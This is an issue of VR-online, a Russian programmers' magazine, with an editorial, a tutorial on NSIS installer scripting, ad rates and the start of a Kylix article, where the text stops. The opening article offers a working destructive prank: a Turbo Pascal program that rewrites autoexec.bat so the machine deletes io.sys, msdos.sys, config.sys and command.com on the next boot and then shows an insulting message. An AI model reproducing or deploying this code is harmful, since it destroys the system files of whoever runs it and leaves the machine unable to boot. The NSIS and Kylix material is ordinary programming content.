VR-online JOURNAL Фленов Михаил and VR-Team VR-online для программистов №9
Западло на турбо Паскале.............................................................................................................3 Инсталлятор от NULLSOFT .........................................................................................................5 Kylix: Стремление в Linux ..........................................................................................................20 Delphi (графика): Заливка фона..................................................................................................23 Delphi (базы данных): Работа с Access ......................................................................................26 Delphi (ActiveX): Программирование ASP сервера .................................................................31 WinAPI: Функции работы с файлами (Часть 2)........................................................................36 SQL: Создание, изменение и удаление таблиц.........................................................................46
Copyright: VR-online Journal http://www.vr-online.ru
VR-online Journal (Horrific and VR-Team)
Хай Кул-Кодер! Наверное, ты в курсе, что пятого числа по всему миру начался показ Матрицы Революции. То, что в 1999 году имело оглушительное начало, наконец-то получило и конец. Да какой! Лично мне очень понравилось. Всё на высшем уровне. И сюжет, и саунд (правда у нас в кинотеатре он периодически на секунду пропадал :)), и спецэффекты. Но меня больше всего порадовал сюжет. Матрица - это первый голливудский фильм, который заставил зрителя серьёзно думать для глубокого понимания сюжета. Пусть не каждого, но тех, кому это нравится - точно :) Сюжет пошёл против стандартных канонов американского кинематографа. Тоже и в самом фильме - люди взбунтовались и пошли против системы. А что ими двигало? Желание стать свободными и ни от кого не зависеть? В какой-то мере это и есть хакерство. Хакеры это такие люди, которые не хотят подчиняться общепринятым рамкам и устоям. Хакеру скажут, что не выйдет, а он всё равно сможет. Выходит, что фильм действительно хакерский… Ладно, куда-то меня не туда понесло. В общем, фильм стоящий и его обязательно нужно посмотреть. И ещё. Не слушай других, кто говорит о Матрице или каком-нибудь другом фильме :) Сколько людей столько и мнений. Посмотришь, выработаешь свою точку зрения и будешь её отстаивать. Она-то и будет правильной ;)
Для программистов №9
VR-online JOURNAL Horrific aka Фленов Михаил
INFO: ИДЕЯ И РЕАЛИЗАЦИЯ: Флёнов Михаил (Horrific) ГРАФИКА: Фленов Михаил, tr4sh
VR-Team: Crazy_Script, Del, Demogorgon, Fighter, Mish!, Negus, Spider NET, tr4sh INTERNET: WWW: http://www.vr-online.ru E-MAIL: horrific@vr-online.ru ДИЗАЙН САЙТА: tr4sh КОДИНГ САЙТА: Mish!
Данный журнал распространяется в виде PDF файлов. Вы можете выкладывать номера на любые носители без изменения внешнего вида журнала, без перевода в другие форматы, без изменения самого файла. В журнал запрещается вносить изменения. Перепечатка материалов запрещена. Журнал распространяется бесплатно, и ты можешь скачать его с нашего сайта, поэтому мы не видим смысла в перепечатывании материалов. Если ты хочешь стать автором журнала, то присылай свою статью на наш e-mail и мы обязательно включим её в очередной номер.
Вот и всё, что я хотел тебе сказать. Что делать дальше - не мне тебе указывать, но я бы посмотрел на то, что мы для тебя приготовили, и сходил бы в кинотеатр на Матрицу Революцию ;) Приятного чтения… Саламатин Кирилл aka Del
http://www.vr-online.ru
2
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Западло на турбо Паскале Привет всем кул перцам, перчихам, перченкам и перчинкам :) Сегодня мы попытаемся написать маленькое западло. Писать будем на Turbo Pascal’e. И тут вы спросите: «Почему на Turbo Pascal’e?». А почему бы и нет? Turbo Pascal прост в понимании и файлы на нем получаются небольших размеров. Ладно, хватит вступления, перейдем к теории. Значит так, для начала разберемся что будет делать наше западло. Оно будет изменять файл autoexec.bat. Сначала мы очистим этот файл (т.е. сделаем его пустым), а затем запишем в него несколько строк. Т.к. записывать будем все в bat-файл, то эти строки будут на bat-языке. Например: @attrib -s -r -a -h c:\io.sys @del c:\io.sys Поясняю: командой @attrib мы снимаем все атрибуты с файла io.sys, который находится в корневом каталоге на диске c:. А затем командой @del трем этот файл. Все просто, неправда ли? Но одного файла нам мало, помимо io.sys мы потрем еще msdos.sys, config.sys,command.com, ну и естественно файл autoexec.bat уже не будет выполнять положенные функции :) С помощью Turbo Pascal’я мы напишем прогу, которая и будет прописывать эти строки в autoexec.bat. Переходим к практике. Запускаем Turbo Pascal и дальше пишем: Program zapadlo; var f:text; {вводим переменную f как текстовый файл} begin {начинаем выполнение} assign (f,’c:\autoexec.bat’); {объявляем переменную f как файл autoexec.bat} rewrite (f); {перезаписываем файл} write (f,‘@echo off’); {вписываем строку отключающую видимость выполнения} write (f,‘@attrib -s -r -a -h c:\io.sys’); {снимаем атрибуты с io.sys} write (f,‘@del c:\io.sys’); {удаляем io.sys} write (f,‘@attrib -s -r -a -h c:\command.com’); {снимаем атрибуты с command.com} write (f,‘@del c:\command.com’); {удаляем command.com} write (f,‘@attrib -s -r -a -h c:\config.sys’); {снимаем атрибуты с msdos.sys} write (f,‘@del c:\msdos.sys’); {удаляем msdos.sys} write (f,‘@attrib -s -r -a -h c:\config.sys’); {снимаем атрибуты с config.sys} write (f,‘@del c:\config.sys’); {удаляем config.sys} write (f,‘@echo on’); {вписываем строку включающую видимость выполнения} write (f,‘YOU HAS BEEN FUCKED BY VASIA PUPKIN’); {оставляем свою метку :)} close (f); {закрываем файл} end. {завершаем выполнение (не забудь точку в конце)} Вот в принципе и все. Не так уж и сложно, правда? Ну а если что-нибудь не получилось или есть какие-нибудь вопросы, то пиши, адрес все тот же: crazy_script@mail.ru. Copyright © Crazy_script
http://www.vr-online.ru
3
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Тебя мучает одна проблема, которую ты не можешь решить? Заходи на форум на нашем сайте, подумаем вместе!!! На нашем форуме ты можешь задать любой вопрос и получить ответ по следующим темам: • Программирование (Delphi, JBuilder, C++ Builder, Kylix, Visual C++Visual Basic и другие); • Технологии программирования (сети, мультимедиа, DirectX, OpenGL); • Администрирование; • Операционные системы; • Базы данных (SQL Server, язык SQL и другие); • Железо; • Internet технологии (Perl, PHP, Flash, XML); • Софт; • Сети; Адрес сайта http://www.vr-online.ru
http://www.vr-online.ru
4
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Инсталлятор от NULLSOFT Итак, мой друг, ты наконец-то написал программу, которой ты хотел бы поделиться с другими людьми и, возможно, получить некий эквивалент в виде хрустящих зеленых банкнот, но вот незадача: программа состоит из пары десятков файлов, да еще имеет кучу дефолтовых настроек в реестре, и, следовательно, вручную устанавливать такую программу у пользователя не будет никакого желания. Какой же выход из этой ситуации? А выход один – создать свой установочный дистрибутив, чтобы твоя программа приобрела красивую "обертку" и не вызывала у пользователя раздражения при установке. Нет, писать программу для создания дистрибутивов мы не будем (хотя это тоже вариант ☺), потому что добрые люди уже это сделали за нас. Остается только воспользоваться плодами чужого труда и выбрать подходящий продукт. С одним из них, а именно с NSIS – "Nullsoft Scriptable Installation System" я и хочу тебя сегодня познакомить. Оговорюсь сразу, статья не претендует на звание "руководства по работе с NSIS", это лишь знакомство с системой. Я не буду сравнивать NSIS с другими подобными системами, я лишь попытаюсь описать основные возможности NSIS на конкретных примерах. Сам я при изучении этой системы практически не нашел материала на русском языке, пришлось изучать по докам, написанным, естественно, на английском. Надеюсь, что эта статья поможет тебе в освоении NSIS. В статье я буду пользоваться терминами "дистрибутив", "инсталлятор", "установочный дистрибутив", под которыми я подразумеваю одно и то же, а именно, все файлы твоей программы, упакованные в единый исполняемый файл, который и устанавливает твою программу на компьютере пользователя. Ну что ж, приступим. Для начала зайди на сайт http://nsis.sourceforge.net/ и скачай свежую версию NSIS. На момент написания статьи последней версией была NSIS v. 2.0 beta 4 (далее в статье будет рассматриваться именно эта версия). NSIS полностью бесплатна, что несомненно является преимуществом перед коммерческими системами, и распространяется по принципу "freeware". NSIS – система с широкими возможностями и, чтобы у тебя сложилось четкое представление о том, с чем мы имеем дело, расскажу вкратце о функциях, заложенных в NSIS разработчиками (кстати, в создании NSIS самое непосредственное участие принял Justin Frankel – автор знаменитых Winamp и Gnutella). Основные возможности NSIS: небольшой размер занимаемый в дистрибутиве – 20 - 40 Кб в зависимости от настроек; собственный язык написания скриптов, обладающий по истине богатыми возможностями: наличие переменных, функций, условных операторов, предопределенных констант, пользовательских функций. NSIS позволяет создавать ярлыки, изменять параметры реестра, создавать/переименовывать/копировать/искать/удалять директории и файлы, читать/записывать INI-файлы, использовать WinAPI-функции (например, отправка сообщений окнам, поиск окон по имени класса и заголовкам, использование диалоговых окон, запуск/открытие других файлов) и др.; поддержка двух алгоритмов сжатия данных – zlib и bzip2, причем сжаты могут быть как все файлы в дистрибутиве, так и отдельные (Алгоритм zlib быстрее bzip2, но
http://www.vr-online.ru
5
VR-online Journal (Horrific and VR-Team)
Для программистов №9
имеет меньшую степень сжатия. В больших проектах разработчики рекомендуют использовать bzip2.); поддержка двух видов интерфейса "Classic" и "Modern"; встроенная многоязыковая поддержка (более 35 языков, включая русский); поддержка различных вариантов установки – полная, выборочная и т.д.; настраиваемый пользовательский интерфейс, с возможностью изменять цвет, фон, шрифты, иконки, текст, добавлять собственные графические элементы (по этой ссылке на скриншоты различных вариантов инсталляторов можно посмотреть http://nsis.sourceforge.net/site/Screenshots.10.0.html); поддержка "uninstall" (uninstall-файл автоматически генерируется при установке); размер получаемых инсталляторов может быть больше 2 Гб; и это далеко не все. Впечатляет, правда? Особенно, если учесть, что все это полностью бесплатно! Итак, после установки в меню "Пуск" --> "Программы" появится подраздел "NSIS". В нем выбирай пункт "NSIS Menu". Это главное меню программы, которое предоставляет удобный доступ ко всем необходимым функциям (рис. 1).
Рис. 1 Нас интересует вкладка "Quick Launch", на которой находятся основные ссылки: 1. Utilities MakeNSISW – представляет собой GUI для создания дистрибутива (рис. 5); Zip2Exe – утилита для конвертирования zip-архива в самораспаковывающийся архив (простой вариант NSIS инсталлятора); NSIS Update – утилита для обновления NSIS. 2. Documentation NSIS Users Manual – руководство пользователя NSIS (к сожалению, на английском языке); FAQ(online) – ссылка на FAQ, расположенный на сайте проекта NSIS; ModernUI Readme – ссылка на файл NSIS/Contrib/Modern UI/Readme.html, в котором описывается порядок использования Modern User Interface; InstallOptions (custom pages) – ссылка на файл NSIS/Contrib/InstallOptions/Readme.html, в котором описывается настройки и
http://www.vr-online.ru
6
VR-online Journal (Horrific and VR-Team)
Для программистов №9
порядок использования InstallOptions 2 – плагина, который позволяет использовать в инсталляторе страницы со своими настройками и элементами. 3. Folders Example Scripts – очень полезная папка, в которой содержатся образцы различных скриптов для создания дистрибутивов. Эти скрипты можно использовать в дальнейшем как шаблоны для написания собственных; Contrib (plug-in info etc.) – папка с плагинами и файлами, в которых содержится информация по этим плагинам; Language files – папка с языковыми модулями для интерфейса типа "Classic"; ModernUI language files – то же самое, только для "Modern"; Source code – папка с исходниками. 4. Websites Ссылки на сайт проекта NSIS, а также на другие сайты, так или иначе связанные с NSIS. На этом закончим теоретическую часть и переходим к практическому упражнению – созданию инсталлятора. Существует несколько способов создать свой дистрибутив. Первый и самый простой – это конвертировать zip-архив с файлами твоей программы в исполняемый файл с помощью утилиты Zip2Exe (Рис. 2).
Рис. 2 Настройки программы предельно просты. Необходимо заполнить несколько полей и отметить пару опций – исходный zip-архив, имя получаемого инсталлятора (Installer Name), тип интерфейса – "Modern" или "Classic", путь распаковки твоих файлов по умолчанию (Default Folder), директория в которой будет создан инсталлятор и алгоритм сжатия данных. После этого остается только нажать кнопку "Generate" и наслаждаться "свежеиспеченным" дистрибутивом. Запускаем полученный инсталлятор и видим следующую картину:
http://www.vr-online.ru
7
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Рис. 3 Выбираем путь распаковки файлов и жмем "Install". Все! Программа установлена! Как видишь, нет ничего сложного, пара кликов мышью и инсталлятор готов, но за простоту использования приходится платить ограниченными возможностями. Утилиту Zip2Exe можно использовать в самых простых случаях, когда необходимо быстро получить простенький инсталлятор (хотя есть возможность изменить стандартные настройки утилиты, если внести исправления в заголовочный файл в каталоге NSIS\Contrib\Zip2exe). Для создания же более серьезного продукта мы воспользуемся всей мощью NSIS, т.е. будем писать свой скрипт. Для написания скрипта подойдет любой текстовый редактор. Полученный файл должен иметь расширение "nsi". Вначале познакомимся с общей структурой скриптов NSIS на примере файла example1.nsi из каталога NSIS\Examples. Вот его содержание (оригинальные комментарии я заменил на свои для лучшего усвоения материала ☺): ; Имя инсталлятора Name "Example1" ; Файл для записи OutFile "example1.exe" ; Путь установки по умолчанию InstallDir $PROGRAMFILES\Example1 ;-------------------------------; Страницы (окна) инсталлятора Page directory Page instfiles
;Окно выбора пути установки "directory" ;Окно процесса установки "instfiles"
;-------------------------------; Устанавливаемые файлы Section "" ;Если имя секции не определено, то она на странице
http://www.vr-online.ru
8
VR-online Journal (Horrific and VR-Team)
Для программистов №9
выбора компонентов ;установки отображаться не будет ; Путь установки файлов из дистрибутива SetOutPath $INSTDIR ; Здесь указываются включаются ;в дистрибутив File ..\makensisw.exe каталога SectionEnd
необходимые
; конец секции
файлы
программы,
которые
;файл makensisw.exe из родительского
Листинг 1
Теперь поясню некоторые моменты. Я думаю, ты уже догадался, что все после символа ";" является комментарием. Слова, начинающиеся со знака "$", - это специальные константы или переменные NSIS. В приведенном листинге $PROGRAMFILES – константа, которая содержит путь к системному каталогу Program Files. $INSTDIR – переменная, в которую заносится путь к установочному каталогу во время установки программы. При описании файлов, включаемых в дистрибутив, можно не указывать путь, если скрипт-файл будет находится в том же каталоге, что файлы программы. В Листинге 1 использована конструкция "..\", которая указывает на каталог, расположенный на уровень выше текущего (родительский каталог). Да, и еще одно замечание по правилам написания скриптов: если тебе необходимо продолжить написание команды на следующей строке, то такой перенос оформляется символом "\" (обратный слеш). Если все ясно, то давай попробуем создать дистрибутив с помощью примера из Листинга 1. Существует 3 способа скомпилировать дистрибутив, используя скриптфайл. Первый способ: Наведи курсор мыши на скрипт-файл, в нашем случае это example1.nsi, и нажми правую кнопку своей мышки. В появившемся контекстном меню ты увидишь два новых раздела: "Compile NSI" (компиляция) и "Compile NSI (with bz2)" (Выбор компиляции с использованием алгоритма сжатия bzip2, т.к. по умолчанию используется алгоритм zlib).
Рис. 4
http://www.vr-online.ru
9
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Выбери "Compile NSI". Откроется окно утилиты MakeNSISW и запустится процесс компиляции.
Рис. 5 После успешного завершения компиляции окно MakeNSISW будет иметь вид, как на рис. 5. Утилита выводит полный отчет о процессе компиляции, включая степень сжатия и размер полученного дистрибутива. Второй способ: Сперва запусти утилиту MakeNSISW. Затем иди в меню "File" и выбирай "LoadScript". Откроется стандартное окно выбора файла. Выбери нужный скрипт-файл и жми "Открыть". После открытия файла автоматически начнется компиляция. Третий способ: Отличается от предыдущего тем, что скрипт-файл просто перетаскивается на окно утилиты MakeNSISW. После перетаскивания запускается компиляция. Если хочешь проверить полученный инсталлятор, жми кнопку "Test Installer". Запустится установка нашего примера.
http://www.vr-online.ru
10
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Рис. 6 Как видишь, окно полученного инсталлятора имеет стиль "Classic". В поле "Destination Folder" указан заданный в скрипте путь по умолчанию. Жми "Install". Запустится установка. По окончании установки ты увидишь следующее окно:
Рис. 7 Если нажмешь кнопку "Show Details", то инсталлятор выдаст тебе подробный отчет о проделанной работе.
http://www.vr-online.ru
11
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Рис. 8 В нашем примере инсталлятор отрапортовал об успешной установке файла makensissw.exe в каталог C:\Program Files\Example1. Вот и все. Теперь можешь закрыть окно инсталлятора. Как видишь, все очень просто. Что? Ты спрашиваешь, где же обещанные богатые возможности программы? Потерпи немного, сейчас мы приступим к созданию своего дистрибутива. Сперва определимся с условиями задачи. Наш дистрибутив должен обладать следующими характеристиками: иметь русский интерфейс; создавать каталог программы с подкаталогами и копировать туда файлы; заносить в реестр данные о директории установленной программы; предусматривать полную и выборочную установку; показывать лицензионное соглашение; создавать ярлык на рабочем столе и подраздел программы в меню "Пуск"; создавать файл uninstall.exe; иметь логотип (или какую-нибудь картинку) нашей программы. Думаю, для начала этого должно хватить. Для создания дистрибутива я создал на диске каталог MyProgram. В него я поместил файлы MyProgram.exe и Readme.txt. В этом же каталоге создай еще 2 подкаталога Data и Temp. В подкаталоге Data создай еще пару файлов, в моем примере – это Test.dll и Data.txt. Это и есть файлы нашей программы. Если хочешь, можешь использовать свои файлы или названия, только не забудь внести соответствующие изменения в скрипт. Для иконок файла инсталлятора и деинсталлятора, а также значков, использующихся в окне выбора компонентов (галочки в квадратиках), я скопировал в директорию нашей программы 3 файла NSIS из каталога NSIS\Contrib\Graphics - nsis1-install.ico (иконка файла инсталлятора), winuninstall.ico (иконка файла деинсталлятора) и classic.bmp (значки выбора компонентов). Еще я использовал два файла с картинками в качестве логотипа программы: 1.bmp – для инсталлятора и 2.bmp – для деинсталлятора (примерные размеры картинок – ширина 150 пикселей, высота 220 пикселей). Теперь внимательно ознакомься с Листингом 2 и набери его в любом текстовом редакторе. Когда закончишь, не забудь сохранить его с расширением "nsi". ;-------------------------------; Макрос, вставляющий логотип программы в окно инсталлятора !macro BIMAGE IMAGE PARMS ;BIMAGE - имя макроса, а IMAGE и PARMS ;параметры, передаваемые ему. IMAGE – файл с рисунком. Push $0 GetTempFileName $0 File /oname=$0 "${IMAGE}" SetBrandingImage ${PARMS} $0 Delete $0 Pop $0 !macroend ;-------------------------------; Для поддержки русского языка необходимо загрузить русский языковой модуль LoadLanguageFile "${NSISDIR}\Contrib\Language files\Russian.nlf" SetCompressor bzip2 ; Устанавливаем алгоритм сжатия
http://www.vr-online.ru
12
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Name "MyProgram" ;Имя инсталлятора Caption "Моя программа" ;Заголовок окна инсталлятора Icon "nsis1-install.ico" ;Иконка полученного файла дистрибутива OutFile "SetupMyProgram.exe" ;Файл для записи BGGradient 000000 008000 FFFFFF (Верхний цвет, нижний InstallColors 00FF00 000000 инсталляторе XPStyle on AddBrandingImage left 150 логотипа в окне инсталлятора
;Градиентная заливка экрана цвет, цвет шрифта) ;Цвет шрифта и фона окна в ;Поддержка ХР стиля ;Местоположение и ширина
installdir $PROGRAMFILES\MyProgram директорию CheckBitmap "classic.bmp" значков, которые
;Задаем установочную ;Файл с изображениями ;используются
в
окне
выбора компонентов ; А это текст, который пользователь увидит в окне выбора пути установки программы DirText "Установка программы MyProgram будет произведена в указанный ниже каталог.\ Если вы хотите изменить директорию установки, то можете сделать это сейчас." LicenseText "Лицензионное лицензионным соглашением LicenseData "License.txt" соглашения
соглашение."
;Тест
в
окне
с
;Файл лицензионного
;-------------------------------;Страницы (окна), используемые инсталлятором Page license Image ;Окно показа лицензии с вызовом функции Image Page components ;Окно выбора компонентов Page directory ;Окно выбора установочной директории Page instfiles ;Окно процесса установки ;Страницы (окна), используемые деинсталлятором UninstPage uninstConfirm un.uninstImage ;Окно подтверждения удаления программы ;с вызовом функции un.uninstImage UninstPage instfiles ;Окно процесса удаления программы ;---------------------------------;Типы установки InstType "Полная" InstType "Минимальная" ;Установка опции показа детальной информации установки (список установленных файлов, ;созданных каталогов и др.) ShowInstDetails show
http://www.vr-online.ru
13
VR-online Journal (Horrific and VR-Team)
Для программистов №9
;---------------------------------;Секция-контейнер. В окне выбора компонентов будет отображаться как родительский ; (раскрывающийся) узел со значком +, по отношению к 2-м входящим в нее секциям SubSection "Основные файлы" Section "Главный файл" SectionIn 1 2 RO ;Секция входит в 1 и 2 тип установки и имеет атрибут "ReadOnly", ;т.е. является обязательной для установки SetOutPath $INSTDIR ;Путь установки файлов file .\MyProgram.exe ;Файл, входящий в секцию ;Записываем в реестр параметр с установочной директорией программы WriteRegStr HKLM SOFTWARE\MyProgram "Install_Dir" "$INSTDIR" WriteUninstaller "uninstall.exe" ;Создаем деинсталлятор ;Создаем подраздел в меню "Пуск" CreateDirectory "$SMPROGRAMS\MyProgram" ;Создаем необходимые ярлыки CreateShortCut "$SMPROGRAMS\MyProgram\Uninstall.lnk" "$INSTDIR\uninstall.exe" \ "" "$INSTDIR\uninstall.exe" 0 CreateShortCut "$SMPROGRAMS\MyProgram\MyProgram.lnk" \ "$INSTDIR\MyProgram.exe" "" "$INSTDIR\MyProgram.exe" 0 CreateShortCut "$DESKTOP\MyProgram.lnk" "$INSTDIR\MyProgram.exe" "" \ "$INSTDIR\MyProgram.exe" 0 SectionEnd ;Конец секции ;Вторая секция, входящая в состав секции-контейнера Section "Дополнительные файлы" SectionIn 1 2 ;Секция входит в 1-й и 2-й тип установки SetOutPath $INSTDIR file .\License.txt CreateDirectory "$INSTDIR\Data" SetOutPath $INSTDIR\Data file .\Data\Data.txt file .\Data\Test.dll CreateDirectory "$INSTDIR\Temp" SectionEnd SubSectionEnd ;Конец секции-контейнера ;Отдельная секция Section "Справка" SectionIn 1 ;Входит только в 1-й тип установки SetOutPath $INSTDIR file .\Readme.txt SectionEnd ;---------------------------------;Функция выводящая логотип программы в окне инсталлятора Function Image !insertmacro BIMAGE "1.bmp" /RESIZETOFIT ;Вызов макроса. 1.bmp – файл с ;логотипом. RESIZETOFIT – параметр, указывающий, чтобы рисунок растягивался ;в окне инсталлятора FunctionEnd
http://www.vr-online.ru
14
VR-online Journal (Horrific and VR-Team)
Для программистов №9
;Функция выводящая логотип программы в окне деинсталлятора Function un.uninstImage !insertmacro BIMAGE "2.bmp" /RESIZETOFIT FunctionEnd ;---------------------------------; В этом разделе описаны параметры деинсталлятора ; Текст в окне удаления программы UninstallText "Программа MyProgram будет удалена с вашего компьютера. \ Нажмите Удалить для продолжения." UninstallIcon "win-uninstall.ico" ; Иконка файла деинсталлятора Section "Uninstall" ; удаление ключей реестра DeleteRegKey HKLM SOFTWARE\MyProgram ; удаление файлов Delete $INSTDIR\Data\Data.txt Delete $INSTDIR\Data\Test.dll Delete $INSTDIR\MyProgram.exe Delete $INSTDIR\uninstall.exe Delete $INSTDIR\Readme.txt Delete $INSTDIR\License.txt ; удаление ярлыков Delete "$SMPROGRAMS\MyProgram\*.*" Delete "$DESKTOP\MyProgram.lnk" ; удаление использованных директорий RMDir "$SMPROGRAMS\MyProgram" RMDir "$INSTDIR\Data" RMDir "$INSTDIR\Temp" RMDir "$INSTDIR" SectionEnd Листинг 2 Готово? Тогда можешь компилировать дистрибутив любым из перечисленных выше способов. Если ты все сделал как надо и не допустил ошибок, то наслаждайся полученным инсталлятором SetupMyProgram.exe в директории твоей программы. Запускай его. У меня получилось то, что ты видишь на рис. 9. Вид твоего инсталлятора может немного отличаться: картинкой и текстом лицензии. Если же компилятор выдал ошибку, то проверь внимательно скрипт-файл, может ты допустил где-нибудь ошибку, а также проверь наличие необходимых файлов, их имена и пути к ним.
http://www.vr-online.ru
15
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Рис. 9 А на следующем рисунке продемонстрировано окно выбора типа установки программы. Заметь, компонент "Главный файл" затемнен и не может быть отключен, т.к. мы установили у него атрибут "ReadOnly". На этом рисунке выбран тип установки "Минимальная", поэтому компонент "Справка" отключен (в листинге установлено, что он входит только в тип установки №1, т.е. "Полную").
Рис. 10 Теперь давай разберемся, как работает наш пример. В самом начале скрипта объявлен и написан макрос с именем BIMAGE, у которого есть 2 параметра: IMAGE, содержащий файл с картинкой (логотип наше программы), и
http://www.vr-online.ru
16
VR-online Journal (Horrific and VR-Team)
Для программистов №9
PARMS, в котором передается параметр для функции SetBrandingImage, используемой в макросе. Макрос выводит заданное изображение в окне инсталлятора и деинсталлятора в той части окна, которая задается аттрибутом AddBrandingImage (находится в листинге немного ниже макроса). В нашем примере AddBrandingImage использован с параметрами "left" и "150", что означает вывести изображение шириной 150 пикселей в левой части окна. Работу макроса я здесь описывать не буду, т.к. это уже более сложная тема, скажу только, что я взял его из файла gfx.nsi, расположенного в каталоге NSIS\Examples. Далее в тексте скрипта используется инструкция LoadLanguageFile, с помощью которой загружается русский языковой модуль. Благодаря ему, ты видишь все надписи в окне инсталлятора на русском языке. Атрибут BGGradient устанавливает цвета для градиентной заливки фона (см. рис. 9) и цвет шрифта на этом фоне. Аттрибут имеет следующие параметры: 000000 – верхний цвет фона (черный), 008000 – нижний цвет фона (зеленый) и FFFFFF – цвет шрифта (белый). Формат параметров – RRGGBB, где RR, GG и BB – задают цвет формата RGB в шестнадцатиричном виде. Атрибут InstallColors устанавливает цвет шрифта и фона информационного окна инсталлятора, в котором отражается подробности установки программы (установленные файлы, созданные каталоги и др.). Формат параметров такой же, как и у BGGradient. Можно использовать параметр "/windows", который установит значения указанных цветов такими же, как и в операционной системе. XPStyle с параметром "on" позволяет инсталлятору использовать стиль окна и его элементов, как в WindowsXP (работает, естественно, только в WindowsXP). Командами Page и UninstPage к инсталлятору и деинсталлятору добавляются страницы (окна), которые последовательно показываются пользователю при установке (удалении) программы. Например, при установке программы сначала появится страница с лицензионным соглашением, затем страница выбора типа установки, после нее – страница выбора пути установки программы и, наконец, страница с информацией о ходе установки. В нашем примере я использовал стандартные страницы, но ты можешь также создавать и использовать свои собственные страницы. При добавлении страниц license и uninstConfirm я дописал к именам страниц вызовы функций Image и un.uninstImage, которые объявлены ниже в тексте Листинга 2. Эти функции выводят логотипы нашей программы в окне инсталлятора и деинсталлятора. Функции объявляются после ключевого слова Function. Имена функций, использующихся для деинсталлятора должны начинаться с префикса "un.". После объявления идет тело функции, которое закрывается ключевым словом FunctionEnd. В приведенном примере в каждой функции используется по одному вызову макроса BIMAGE. В качестве параметров при вызове макроса используется bmpфайл и параметр "/RESIZETOFIT", который указывает, что используемый рисунок должен растягиваться при несовпадении размеров свободного места окна инсталлятора и рисунка. Если ты заметил, объявление макроса !macro и вызов макроса !insertmacro начинаются с восклицательного знака. Такие слова называются директивами компилятора (похожи на директивы компилятора Delphi). Поэтому более правильным будет сказать, что директива !insertmacro не вызывает макрос, а вставляет код описанный между директивами !macro и !macroend. Двигаемся дальше. С помощью конструкции SubSection – SubSectionEnd мы описываем секцию-контейнер "Основные файлы", которая включает в себя 2 секции: "Главный файл" и "Дополнительные файлы". На рис. 10 эта конструкция представлена в виде дерева, где SubSection "Основные файлы" является родительской по отношению к 2 другим секциям. Наверняка ты обратил внимание на команду SectionIn расположенную внутри секций. Этой командой ты указываешь, в какие типы установок входит данная секция, а также можешь сделать эту секцию обязательной для установки, если используешь параметр "RO" (ReadOnly). Каждый тип установки, объявленный в скрипте, получает порядковый номер, начиная с единицы. Чтобы указать, в какие типы установок входит секция, нужно указать их номера через пробел.
http://www.vr-online.ru
17
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Команда WriteRegStr используется для записи в реестр строкового значения. Команда использует 4 параметра: корневой ключ, ключ для записи, имя параметра и записываемое значение. В нашем примере с помощью WriteRegStr мы создаем строковый параметр "Install_Dir" в ключе "HKLM\Software\MyProgram" и присваиваем ему значение "$INSTDIR", т.е. путь к директории установки. Команда WriteUninstaller генерирует (создает) деинсталлятор и записывает его в указанный файл. В нашем примере - это "uninstall.exe". Команда CreateShortCut создает ярлык в указанной каталоге. Имеет 4 параметра: сам ярлык; файл, на который указывает ярлык; файл, содержащий иконку ярлыка, и номер иконки. Что касается команд DeleteRegKey, Delete и RMDir, то с ними все должно быть ясно и так. Команды занимаются ничем иным, как удалением ключей реестра, файлов и директорий соответственно. Вот, пожалуй, и все, что я хотел тебе рассказать о NSIS. Конечно, за бортом осталась еще львиная доля нерассмотренной информации, но основу для дальнейшего изучения я тебе дал. Если возникнут вопросы, можешь написать мне или задать их на нашем форуме – http://www.vr-online.ru/php/forum/index.php. Copyright © Лунькин Павел aka Negus Email: negus@vr-online.ru
http://www.vr-online.ru
18
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Реклама в журнале VR-online Почему вы обязаны разместить рекламу на страницах VRonline:
4. 5. 6. 7.
1. Таких низких цен вы не видели ни где. 2. У нас располагается нестареющая информация. Которая будет актуальна всегда. 3. Вы имеете возможность пожизненно расположить свой банер на наших страницах по самым низким ценам. Пожизненность гарантируется в не зависимости от роста числа посещаемости. У нас есть потенциал для роста, как в объемах страниц, так и в посещаемости. Наши материалы очень часто сохраняются на дисках посетителей. Ваша реклама будет доступна в любых вариантах журнала. Журнал распространяется не только с сайта VR-online, но и другими сайтами и даже на CD, поэтому тираж огромен.
Если вы собираетесь рекламировать не просто сайт в интернете, а компанию, которая занимается информационными технологиями, то ваша дорога лежит сюда. Это лучшее рекламное место, которое можно найти в сети. Торопитесь такие цены не надолго. Расценки на размещение рекламы на страницах VR-online: • Банер 100х100 на главной странице сайта в течении месяца-$25 • Банер 468х60 на главной странице сайта в течении месяца-$30 • Банер 100х100 на странице оглавления на сайте 1-го номера (пожизненно)-$25 • Банер 468х60 на странице оглавления на сайте 1-го номера (пожизненно)-$30 • Страница в журнале-$200 • Половина страницы в журнале-$100 • Банер на странице статьи журнала.-$50
http://www.vr-online.ru
19
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Kylix: Стремление в Linux Linux превращается в конкурентную операционную систему. Сейчас она завоевывает всё больше наших сердец врываясь даже в домашние компьютеры. Linux очень надёжна и достаточно стабильна, а самое главное бесплатная. Что же мешает ей захватить рынок операционных систем? Причины тут две: плохая поддержка оборудования и малое количество программ. Первую причину мы не сможем устранить, потому что это весит на совести разработчиков. А вторая причина скоро может потерять свою актуальность. Фирма Borland выпускает в свет новый продукт Kylix визуальной разработки программ под Linux. На данный момент Linux является стандартом серверов в интернете. Все наверно слышали про Apache web server, на котором стоит большинство Web серверов в сети. Apache получил жизнь в среде *nix и только потом перебежал на другие платформы. Но теперь Linux может стать и домашней платформой. Хотя для этого ещё нужно решить одну проблему - поддержку оборудования. Традиционные средства разработки программ для Linux очень тяжёлые для изучения и не позволяют разрабатывать большие проекты с высокой скоростью. Новая среда Kylix от Borland/Inprise позволит избавиться от этих недостатков. С этой средой ты сможешь в считанные дни вступить в работу. Он лёгок в изучении и совместим с Delphi. Честно сказать, я уже с нетерпением жду появления первой коробки на рынке, чтобы испробовать всё это на своей шкуре. Я уже устал читать пресс-релизы и восхищаться скрин-шотами, хочется быстрей вскрыть коробку с надписью Kylix и засандолить кругленький диск в свою кофейницу. Kilix внедряет RAD (Rapid Application Development) технологию в Linux. Kilix это: • • • •
